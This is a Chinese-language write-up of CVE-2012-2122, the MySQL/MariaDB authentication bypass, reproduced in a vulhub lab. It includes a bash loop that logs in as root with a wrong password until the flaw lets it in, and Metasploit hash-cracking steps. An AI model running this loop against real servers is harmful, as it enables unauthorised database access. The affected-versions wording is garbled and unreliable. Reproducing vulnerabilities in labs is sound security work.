MySql-身份认证绕过-CVE-2012-2122
1、漏洞编号:
CVE-2012-2122
2、漏洞描述:
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
3、影响版本:
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
- MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
4、利用方法(利用案例):
4.1环境搭建
vulhub上有完整的靶场,路径:vulhub/mysql/CVE-2012-2122
环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过正常的Mysql客户端,可以直接登录的,正确root密码时123456.
4.2复现过程
靶机:192.168.137.247
攻击机:192.168.137.137
第一种方式
在不知道我们环境正确密码的情况下,在bash下运行如下命令,在一定数量尝试后便可成功登录:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
第二种方式
攻击机启动msf
获得hash值,解密得到密码
数据库远程连接
mysql -u root -P 3306 -h 192.168.111.137 -p
5、加固建议:
(1)升级数据库版本
(2)打补丁
(3)修改Mysql数据库密码
6、参考信息:
https://vulhub.org/#/environments/mysql/CVE-2012-2122/
7、漏洞分类:
身份认证绕过